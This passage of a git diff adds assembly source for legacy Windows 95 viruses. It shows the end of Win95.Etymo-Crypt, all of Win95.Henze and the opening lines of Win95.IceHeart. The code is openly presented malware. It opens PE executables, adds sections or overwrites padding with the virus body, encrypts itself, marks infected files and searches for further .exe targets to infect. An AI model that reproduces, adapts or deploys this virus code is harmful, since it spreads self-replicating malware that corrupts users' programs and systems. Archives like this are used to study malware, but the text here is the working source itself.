||||
; restore the attribs later
|
||||
|
||||
push 80h ; normal attributes
|
||||
push esi
|
||||
call [ebp+offset SetFileAttributesA] ; reset file attributes
|
||||
or eax, eax ; 0 means error
|
||||
JZ reset_attributes
|
||||
|
||||
push 0 ; template file (shit)
|
||||
push 80h ; file attributes (normal)
|
||||
push 3 ; open existing
|
||||
push 0 ; security attributes (shit)
|
||||
push 0 ; do not share file
|
||||
push 0C0000000h ; read/write mode
|
||||
push esi ; pointer to filename
|
||||
call [ebp+offset CreateFileA] ; OPEN FILE.
|
||||
inc eax ; EAX= -1 (Invalid handle)
|
||||
JZ reset_attributes
|
||||
dec eax
|
||||
push eax ; save filehandle
|
||||
xchg edi, eax ; EDI=filehandle
|
||||
|
||||
sub esp, 3*8 ; reserve space on stack
|
||||
; to store the filetimes
|
||||
|
||||
mov ebx, esp ; get the filetimes to the
|
||||
push ebx ; reserved place on stack
|
||||
add ebx, 8
|
||||
push ebx
|
||||
add ebx, 8
|
||||
push ebx
|
||||
push edi ; filehandle
|
||||
call [ebp+offset GetFileTime] ; get the filetimes
|
||||
or eax, eax ; error?
|
||||
JZ closefile
|
||||
|
||||
push 0 ; high file_size dword ptr
|
||||
push edi
|
||||
call [ebp+offset GetFileSize] ; get the filesize to EAX
|
||||
inc eax ; -1 means error
|
||||
JZ closefile
|
||||
dec eax
|
||||
|
||||
mov ebx, esp ; save addresses of filetimes
|
||||
push ebx ; for the API call to restore
|
||||
add ebx, 8 ; them later
|
||||
push ebx
|
||||
add ebx, 8
|
||||
push ebx
|
||||
push edi
|
||||
|
||||
push edi ; filehandle for SetEndofFile
|
||||
|
||||
; for the SetFilePointer at
|
||||
; the end to truncate file
|
||||
push 0 ; move relative to filestart
|
||||
push 0 ; high word of file pointer
|
||||
push eax ; filesize
|
||||
push edi ; filehandle
|
||||
|
||||
add eax, workspace
|
||||
push 0 ; name file mapping obj (shit)
|
||||
push eax ; low dword of file_size
|
||||
push 0 ; high dword of file_size
|
||||
push 4 ; PAGE_READWRITE
|
||||
push 0 ; security attributes (shit)
|
||||
push edi
|
||||
call [ebp+offset CreateFileMappingA]
|
||||
or eax, eax ; error happened?
|
||||
JZ error_createfilemapping
|
||||
|
||||
push eax ; save maphandle for
|
||||
; CloseHandle
|
||||
|
||||
push 0 ; map the whole file
|
||||
push 0 ; low dword of fileoffset
|
||||
push 0 ; high dword of fileoffset
|
||||
push 2 ; read/write access
|
||||
push eax ; maphandle
|
||||
call [ebp+offset MapViewOfFile]
|
||||
or eax, eax
|
||||
JZ closemaphandle
|
||||
|
||||
push eax ; save mapbase for
|
||||
; UnmapViewOfFile
|
||||
|
||||
cmp word ptr [eax], "ZM" ; exe file?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
cmp word ptr [eax+18h], 40h ; new executable header?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
add eax, [eax+3Ch] ; EBX=new header address
|
||||
cmp dword ptr [eax], "EP" ; PE file?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
test word ptr [eax+16h], 0010000000000000b ; DLL ?
|
||||
JNZ closemap ; if yes, then exit
|
||||
|
||||
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
|
||||
mov ebx, eax ; EBX=offset PE header
|
||||
add ebx, 18h ; SizeOfNTHeader
|
||||
add ebx, ecx ; EBX=first section header
|
||||
push ebx ; save it
|
||||
|
||||
find_code_section:
|
||||
mov ecx, [eax+28h] ; ECX=EntryRVA
|
||||
sub ecx, [ebx+0Ch] ; Virtualaddress of section
|
||||
sub ecx, [ebx+10h] ; SizeOfRawData
|
||||
JB found_code_section ; we found the code section!
|
||||
add ebx, 40 ; next section
|
||||
JMP find_code_section ; search on
|
||||
|
||||
found_code_section:
|
||||
mov edx, [eax+28h] ; EDX=EntryRVA
|
||||
sub edx, [ebx+0Ch] ; Virtualaddress
|
||||
add edx, [ebx+14h] ; AddressOfRawData
|
||||
; EDX=RAW ptr to entrypoint
|
||||
|
||||
pop ebx ; EBX=first section header
|
||||
|
||||
cmp ecx, -virussize ; enough room left in the
|
||||
JG closemap ; section for the virus body?
|
||||
|
||||
mov ecx, [esp] ; ECX=mapbase
|
||||
add ecx, edx ; ECX=entrypoint in Filemap
|
||||
|
||||
cmp byte ptr [ecx], 0A1h ; already infected ?
|
||||
JE closemap ; if so, then exit
|
||||
|
||||
push edx ; save RAW entrypoint address
|
||||
|
||||
movzx edx, word ptr [eax+6] ; NumberOfSections
|
||||
dec edx
|
||||
imul edx, edx, 40
|
||||
add ebx, edx ; EBX=last section header
|
||||
|
||||
inc word ptr [eax+6] ; increase NumberOfSections
|
||||
|
||||
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
|
||||
mov dword ptr [ebx+40+04h], "at"
|
||||
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
|
||||
|
||||
mov edx, [ebx+0Ch] ; VirtualAddress
|
||||
add edx, [ebx+08h] ; VirtualSize
|
||||
mov ecx, [eax+38h] ; SectionAlign
|
||||
call align_EDX
|
||||
|
||||
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
|
||||
|
||||
add edx, virussize ; new ImageSize
|
||||
call align_EDX ; align to SectionAlign
|
||||
|
||||
mov dword ptr [eax+50h], edx ; store new ImageSize
|
||||
|
||||
mov edx, virussize
|
||||
mov ecx, [eax+3Ch] ; FileAlign
|
||||
call align_EDX ; align virsize to FileAlign
|
||||
|
||||
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
|
||||
|
||||
mov edx, [ebx+14h] ; PointerToRawData
|
||||
add edx, [ebx+10h] ; SizeOfRawData
|
||||
call align_EDX ; align new section
|
||||
; raw offset to FileAlign
|
||||
|
||||
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
|
||||
|
||||
add edx, [ebx+40+10h] ; SizeOfRawData
|
||||
mov dword ptr [esp+4*4], edx ; new filesize
|
||||
|
||||
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
|
||||
mov dword ptr [ebx+40+1Ch], 0
|
||||
mov dword ptr [ebx+40+20h], 0
|
||||
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
|
||||
; standart for data sections
|
||||
|
||||
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
|
||||
add edx, [eax+34h] ; add ImageBase to get VA
|
||||
|
||||
pop esi ; ESI=RAW entrypoint address
|
||||
pop eax ; EAX=mapbase
|
||||
push eax ; we still need it on stack
|
||||
add esi, eax ; ESI=entrypoint in FileMap
|
||||
push esi ; save it on stack
|
||||
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
|
||||
add edi, eax ; start of new section in map
|
||||
mov ecx, virussize ; bytes to move
|
||||
push ecx ; save virussize on stack
|
||||
cld
|
||||
mov eax, edi ; EAX=new section in FileMap
|
||||
rep movsb ; of entry point code to
|
||||
; newly created section
|
||||
|
||||
pop ecx ; ECX=virussize
|
||||
pop edi ; EDI=entrypoint in Filemap
|
||||
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
|
||||
rep movsb ; move virus body to
|
||||
; original Entrypoint of File
|
||||
|
||||
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
|
||||
; original host start code
|
||||
|
||||
push edi ; Save end of virus body
|
||||
; in Filemap
|
||||
|
||||
mov esi, edi ; ESI=virus end in Filemap
|
||||
sub esi, virussize ; ESI=virus start in Filemap
|
||||
xchg edi, eax ; EDI=start of new section
|
||||
|
||||
; Encrypt the code from the original entry point against the virus body.
|
||||
|
||||
encrypt_loop:
|
||||
lodsb
|
||||
add byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
sub byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
cmp ecx, virussize ; all encrypted?
|
||||
JB encrypt_loop ; if not, then crypt on
|
||||
|
||||
|
||||
; and now the main part of the virus body is encrypted itself. It is crypted
|
||||
; from the end of the virus body upwards, for each dword is the next dword
|
||||
; used as crypt key. The first key is the first dword of the encrypted
|
||||
; host code.
|
||||
|
||||
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
|
||||
mov eax, dword ptr [edi] ; initial key
|
||||
pop edi ; end of virus in filemap
|
||||
|
||||
encrypt_virus_body:
|
||||
dec edi ; go to previous dword
|
||||
dec edi
|
||||
dec edi
|
||||
dec edi
|
||||
|
||||
mov ebx, dword ptr [edi] ; this dword is the next key
|
||||
xor dword ptr [edi], eax ; encrypt it with this key
|
||||
xchg ebx, eax ; change keys
|
||||
LOOP encrypt_virus_body ; LOOP until encryption done
|
||||
|
||||
|
||||
; the parameters for the following API calls have already been pushed on the
|
||||
; stack while the opening process of the file
|
||||
|
||||
closemap:
|
||||
call [ebp+offset UnmapViewOfFile] ; unmap file
|
||||
|
||||
closemaphandle:
|
||||
call [ebp+offset CloseHandle] ; close map handle
|
||||
|
||||
error_createfilemapping:
|
||||
call [ebp+offset SetFilePointer] ; set file pointer to EOF
|
||||
|
||||
call [ebp+offset SetEndOfFile] ; truncate file here
|
||||
|
||||
call [ebp+offset SetFileTime] ; restore filetimes
|
||||
|
||||
closefile:
|
||||
add esp, 8*3 ; remove filetimes from stack
|
||||
|
||||
call [ebp+offset CloseHandle] ; close file
|
||||
|
||||
reset_attributes:
|
||||
call [ebp+offset SetFileAttributesA] ; reset attributes
|
||||
|
||||
exit_hook:
|
||||
popa ; restore all registers
|
||||
popf ; restore flags
|
||||
ret ; go to original API routine
|
||||
|
||||
; ----- ALIGN SUBROUTINE ----------------------------------------------------
|
||||
; aligns EDX to ECX
|
||||
align_EDX:
|
||||
push eax ; save EAX
|
||||
push edx ; save EDX
|
||||
xchg eax, edx ; EAX=value to align
|
||||
xor edx, edx ; EDX=0
|
||||
div ecx ; divide EDX:EAX by ECX
|
||||
pop eax ; restore old EDX in EAX
|
||||
or edx, edx ; EDX=mod of division
|
||||
JZ already_aligned ; already aligned?
|
||||
add eax, ecx ; if not align
|
||||
sub eax, edx ; EDX=mod
|
||||
already_aligned:
|
||||
xchg eax, edx ; EDX=aligned value
|
||||
pop eax ; restore EAX
|
||||
ret
|
||||
|
||||
|
||||
db "[Win95.Etymo-Crypt] by Black Jack", 0
|
||||
db "This virus was written in Austria in May/June/July 2000", 0
|
||||
|
||||
names_RVA_table:
|
||||
dd (n_GetFileAttributesA - virus_start)
|
||||
dd (n_SetFileAttributesA - virus_start)
|
||||
dd (n_GetFileTime - virus_start)
|
||||
dd (n_GetFileSize - virus_start)
|
||||
dd (n_CreateFileMappingA - virus_start)
|
||||
dd (n_MapViewOfFile - virus_start)
|
||||
dd (n_UnmapViewOfFile - virus_start)
|
||||
dd (n_SetFilePointer - virus_start)
|
||||
dd (n_SetEndOfFile - virus_start)
|
||||
dd (n_CloseHandle - virus_start)
|
||||
dd (n_SetFileTime - virus_start)
|
||||
dd (n_CreateFileA - virus_start)
|
||||
dd 0
|
||||
|
||||
n_GetFileAttributesA db "GetFileAttributesA", 0
|
||||
n_SetFileAttributesA db "SetFileAttributesA", 0
|
||||
n_GetFileTime db "GetFileTime", 0
|
||||
n_GetFileSize db "GetFileSize", 0
|
||||
n_CreateFileMappingA db "CreateFileMappingA", 0
|
||||
n_MapViewOfFile db "MapViewOfFile", 0
|
||||
n_UnmapViewOfFile db "UnmapViewOfFile", 0
|
||||
n_SetFilePointer db "SetFilePointer", 0
|
||||
n_SetEndOfFile db "SetEndOfFile", 0
|
||||
n_CloseHandle db "CloseHandle", 0
|
||||
n_SetFileTime db "SetFileTime", 0
|
||||
n_CreateFileA db "CreateFileA", 0
|
||||
|
||||
API_RVAs:
|
||||
GetFileAttributesA dd ?
|
||||
SetFileAttributesA dd ?
|
||||
GetFileTime dd ?
|
||||
GetFileSize dd ?
|
||||
CreateFileMappingA dd ?
|
||||
MapViewOfFile dd ?
|
||||
UnmapViewOfFile dd ?
|
||||
SetFilePointer dd ?
|
||||
SetEndOfFile dd ?
|
||||
CloseHandle dd ?
|
||||
SetFileTime dd ?
|
||||
CreateFileA dd ?
|
||||
|
||||
hook_API dd ?
|
||||
|
||||
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
|
||||
db (4-(($-virus_start) mod 4)) dup(0)
|
||||
endif
|
||||
|
||||
virus_end:
|
||||
|
||||
end start
|
523
LegacyWindows/Win95.Henze.asm
Normal file
523
LegacyWindows/Win95.Henze.asm
Normal file
@ -0,0 +1,523 @@
|
||||
;---------------------------- W95 HenZe BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
|
||||
.586P
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
|
||||
KERNEL95 EQU 0BFF70000h
|
||||
MIX_SIZ EQU FILE_END-MEGAMIX
|
||||
MIX_MEM EQU MEM_END-MEGAMIX
|
||||
NABLA EQU DELTA-MEGAMIX
|
||||
MARKA EQU 66
|
||||
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
|
||||
MAX_PATH EQU 260
|
||||
|
||||
MACROSIZE MACRO
|
||||
|
||||
DB MIX_SIZ/01000 mod 10 + "0"
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
|
||||
ENDM
|
||||
|
||||
; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
|
||||
; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
|
||||
|
||||
; MOV
|
||||
; CALL
|
||||
; JNZ ONLY SIX OPCODES WERE USED.. xDDD
|
||||
; ADD /
|
||||
; SUB /
|
||||
; CMP /
|
||||
|
||||
; AND NO INDEXING MODE (EASY DISASM CODE)
|
||||
|
||||
;MOV EAX,[EBP+5]
|
||||
|
||||
;TURNS INTO:
|
||||
|
||||
; ADD EBP,5
|
||||
; MOV EAX,[EBP]
|
||||
|
||||
;AND SO...
|
||||
|
||||
; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
|
||||
|
||||
; SEVERAL META TIPS
|
||||
|
||||
.DATA
|
||||
|
||||
copyrisgt DB 'HenZe '
|
||||
|
||||
MACROSIZE
|
||||
.CODE
|
||||
|
||||
; BIZARRE VIRUS BEGINS...
|
||||
MEGAMIX:
|
||||
|
||||
|
||||
MOV EAX, 401005H
|
||||
MILO EQU $-4
|
||||
DELTA:
|
||||
MOV EBP,EAX
|
||||
WINES:
|
||||
MOV EAX,KERNEL95
|
||||
MOV CL,'M'
|
||||
CMP BYTE PTR [EAX],CL
|
||||
JNZ WARNING
|
||||
MOV EBX,EAX
|
||||
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X
|
||||
|
||||
BUSCA3:
|
||||
ADD EAX,1
|
||||
CMP DWORD PTR [EAX],EDX
|
||||
JNZ SHORT BUSCA3
|
||||
APIZ:
|
||||
|
||||
MOV ECX,OFFSET GPA
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
MOV [ECX],EAX
|
||||
MOV ESI, OFFSET APIs
|
||||
ADD ESI,EBP
|
||||
SUB ESI,OFFSET DELTA
|
||||
MOV EDI,OFFSET APIaddresses
|
||||
ADD EDI,EBP
|
||||
SUB EDI,OFFSET DELTA
|
||||
|
||||
GPI: SUB ESP,4
|
||||
MOV [ESP],ESI
|
||||
SUB ESP,4
|
||||
MOV [ESP],EBX
|
||||
MOV ECX,OFFSET GPA
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
CALL [ECX]
|
||||
|
||||
MOV [EDI],EAX
|
||||
ADD EDI,4
|
||||
|
||||
|
||||
NPI:
|
||||
MOV AL,BYTE PTR [ESI]
|
||||
ADD ESI,1
|
||||
|
||||
CMP AL,0
|
||||
JNZ SHORT NPI
|
||||
CMP [ESI], AL
|
||||
JNZ GPI
|
||||
|
||||
|
||||
|
||||
INFECT:
|
||||
|
||||
MOV EAX, OFFSET Win32FindData
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX,OFFSET IMASK
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX,OFFSET FindFirstFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
MOV EBX, OFFSET SearcHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
|
||||
|
||||
LOOPER:
|
||||
CMP EAX,-1
|
||||
JNZ SUPPER
|
||||
|
||||
|
||||
WARNING:
|
||||
|
||||
MOV EAX,12345678H
|
||||
ORG $-4
|
||||
OLD_EIP DD 00401000H
|
||||
ADD ESP,4
|
||||
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
|
||||
|
||||
SUPPER:
|
||||
|
||||
CMP EAX,0
|
||||
JNZ ALLKEY
|
||||
PILLE:
|
||||
CMP ESP,0 ; ESP NEVER IS ZERO
|
||||
JNZ WARNING
|
||||
|
||||
ALLKEY:
|
||||
|
||||
SUB ESP,4
|
||||
MOV EAX,OFFSET OLD_EIP
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV EBX,[EAX]
|
||||
MOV [ESP],EBX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],00000080h
|
||||
SUB ESP,4
|
||||
MOV [ESP],3
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],0C0000000h
|
||||
|
||||
MOV EAX ,offset FNAME ; OPEN IT!
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CreateFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
MOV EBX,OFFSET FileHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV [EBX],EAX ; SAVE HNDL
|
||||
MOV EBX,OFFSET WFD_nFileSizeLow
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV ECX, [EBX]
|
||||
|
||||
MOV EDX,0
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],ECX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],4H
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
|
||||
SUB ESP,4
|
||||
MOV EBX,OFFSET FileHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV ECX,[EBX]
|
||||
MOV [ESP],ECX
|
||||
MOV EAX, OFFSET CreateFileMappingA
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
MOV EBX,OFFSET MapHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
|
||||
MOV EBX,OFFSET WFD_nFileSizeLow
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV ECX, [EBX]
|
||||
|
||||
MOV EDX,0
|
||||
SUB ESP,4
|
||||
MOV [ESP],ECX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
ADD EDX,2
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV ECX, OFFSET MapHandle
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
MOV EBX,[ECX]
|
||||
MOV [ESP],EBX
|
||||
MOV EBX, OFFSET MapViewOfFile
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
CALL [EBX]
|
||||
|
||||
MOV EBX,OFFSET MapAddress
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
MOV ESI,EAX ; GET PE HDR
|
||||
MOV EDX,EAX
|
||||
ADD EAX,3CH
|
||||
MOV ESI,[EAX]
|
||||
ADD ESI,EDX
|
||||
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
|
||||
JNZ Cerrar
|
||||
ADD ESI,MARKA
|
||||
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
|
||||
JNZ Cerrar1
|
||||
CMP ESP,0
|
||||
JNZ Cerrar
|
||||
|
||||
Cerrar1:
|
||||
SUB ESI,MARKA
|
||||
MOV EBX,ESI
|
||||
ADD EBX,3CH
|
||||
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
|
||||
MOV ECX,ESI
|
||||
ADD ECX,56
|
||||
CMP EAX,[ECX]
|
||||
JNZ Cerrar
|
||||
|
||||
SUB ESP,4
|
||||
MOV [ESP],ESI
|
||||
MOV ECX,0
|
||||
MOV EDI,ESI
|
||||
ADD EDI,6
|
||||
MOV CL,BYTE PTR [EDI]
|
||||
ADD EDI,74H-6
|
||||
MOV EBX,[EDI]
|
||||
ADD EBX,EBX
|
||||
ADD EBX,EBX
|
||||
ADD EBX,EBX
|
||||
ADD ESI,78H
|
||||
ADD ESI,EBX
|
||||
ADD ESI,24H
|
||||
WRI:
|
||||
MOV DWORD PTR [ESI], 0C0000040h
|
||||
ADD ESI,40
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ WRI
|
||||
|
||||
MOV ESI,[ESP]
|
||||
ADD ESP,4
|
||||
|
||||
MOV EDI,ESI
|
||||
ADD ESI,28H
|
||||
MOV EAX,[ESI]
|
||||
ADD ESI,34H-28H
|
||||
ADD EAX,[ESI]
|
||||
MOV ECX,[ESI]
|
||||
MOV EDX,OFFSET BASE
|
||||
ADD EDX,EBP
|
||||
SUB EDX,OFFSET DELTA
|
||||
MOV [EDX],ECX
|
||||
MOV EBX,OFFSET OLD_EIP
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
MOV ESI,EDI
|
||||
ADD ESI,MARKA
|
||||
MOV BYTE PTR [ESI],"H" ; HenKy!
|
||||
MOV EAX,OFFSET WFD_nFileSizeLow
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV ECX,[EAX]
|
||||
MOV EAX,EDI
|
||||
BU:
|
||||
CMP DWORD PTR [EDI], 'XGNI'
|
||||
JNZ PE
|
||||
CMP ESP,0
|
||||
JNZ PO
|
||||
|
||||
PE:
|
||||
ADD EDI,1
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ BU
|
||||
CMP ESP,0
|
||||
JNZ Cerrar
|
||||
|
||||
PO:
|
||||
MOV ESI,EDI
|
||||
ADD ESI,4
|
||||
CMP DWORD PTR [ESI], 'DAPX'
|
||||
JNZ PE
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDI
|
||||
MOV EBX,OFFSET MapAddress
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
SUB EDI,[EBX]
|
||||
ADD EAX,28H
|
||||
MOV [EAX],EDI
|
||||
MOV EBX,OFFSET BASE
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
ADD EDI,[EBX]
|
||||
ADD EDI,5
|
||||
MOV EDX,OFFSET MILO
|
||||
ADD EDX,EBP
|
||||
SUB EDX,OFFSET DELTA
|
||||
MOV [EDX],EDI
|
||||
|
||||
MOV EDI,[ESP]
|
||||
ADD ESP,4
|
||||
|
||||
MOV ESI,OFFSET MEGAMIX
|
||||
ADD ESI,EBP
|
||||
SUB ESI,OFFSET DELTA
|
||||
MOV ECX,MIX_SIZ/4
|
||||
|
||||
BASTARDO_VIRUS:
|
||||
|
||||
MOV EAX,[ESI]
|
||||
MOV [EDI],EAX
|
||||
ADD ESI,4
|
||||
ADD EDI,4
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ BASTARDO_VIRUS
|
||||
|
||||
UnMapFile:
|
||||
|
||||
MOV EAX, OFFSET MapAddress
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET UnmapViewOfFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
CloseMap:
|
||||
|
||||
MOV EAX, OFFSET MapHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CloseHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
|
||||
Cerrar:
|
||||
|
||||
MOV EAX,OFFSET OLD_EIP
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV EBX,[ESP]
|
||||
MOV [EAX],EBX
|
||||
ADD ESP,4
|
||||
|
||||
MOV EAX, OFFSET FileHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CloseHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
|
||||
TOPO:
|
||||
|
||||
|
||||
MOV EAX, offset Win32FindData
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
|
||||
MOV EAX, OFFSET SearcHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET FindNextFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
CMP ESP,0
|
||||
JNZ LOOPER
|
||||
|
||||
|
||||
APIs:
|
||||
DB "CreateFileA",0
|
||||
DB "CloseHandle",0
|
||||
DB "FindFirstFileA",0
|
||||
DB "FindNextFileA",0
|
||||
DB "MapViewOfFile",0
|
||||
DB "UnmapViewOfFile",0
|
||||
DB "CreateFileMappingA",0
|
||||
Zero_ DB 0
|
||||
BASE DD 0
|
||||
|
||||
IMASK DB '*.ExE',0
|
||||
DB 'HenZe LameVirus BY HenKy',0
|
||||
|
||||
align 4
|
||||
|
||||
FILE_END LABEL BYTE
|
||||
|
||||
APIaddresses:
|
||||
|
||||
CreateFile DD 0
|
||||
CloseHandle DD 0
|
||||
FindFirstFile DD 0
|
||||
FindNextFile DD 0
|
||||
MapViewOfFile DD 0
|
||||
UnmapViewOfFile DD 0
|
||||
CreateFileMappingA DD 0
|
||||
GPA DD 0
|
||||
SearcHandle DD 0
|
||||
FileHandle DD 0
|
||||
MapHandle DD 0
|
||||
MapAddress DD 0
|
||||
|
||||
FILETIME STRUC
|
||||
|
||||
FT_dwLowDateTime DD ?
|
||||
FT_dwHighDateTime DD ?
|
||||
|
||||
FILETIME ENDS
|
||||
|
||||
Win32FindData:
|
||||
|
||||
WFD_dwFileAttributes DD ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh DD ?
|
||||
WFD_nFileSizeLow DD ?
|
||||
WFD_dwReserved0 DD ?
|
||||
WFD_dwReserved1 DD ?
|
||||
FNAME DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
DD 0
|
||||
align 4
|
||||
|
||||
|
||||
MEM_END LABEL BYTE
|
||||
|
||||
EXITPROC:
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
ENDS
|
||||
END MEGAMIX
|
285
LegacyWindows/Win95.IceHeart.asm
Normal file
285
LegacyWindows/Win95.IceHeart.asm
Normal file
@ -0,0 +1,285 @@
|
||||
;last review 29.06.1999
|
||||
|
||||
;"—?® ? ??®? - ??? «?¤..."
|
||||
;Win95.IceHeart v1.5
|
||||
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX
|
||||
jumps
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
.code
|
||||
start:
|
||||
_start:
|
||||
cld
|
||||
call _Next
|
||||
_Next:
|
||||
pop esi
|
||||
sub esi,offset _Next
|
||||
push ebp
|
||||
cmp byte ptr [esp+3+4],0BFh
|
||||
jne _ExitNow;NT
|
||||
mov ebp,_krnl_begin+178h+0Ch-40
|
||||
_DoSearchSection:
|
||||
add ebp,40
|
||||
mov edx,[ebp];first rva
|
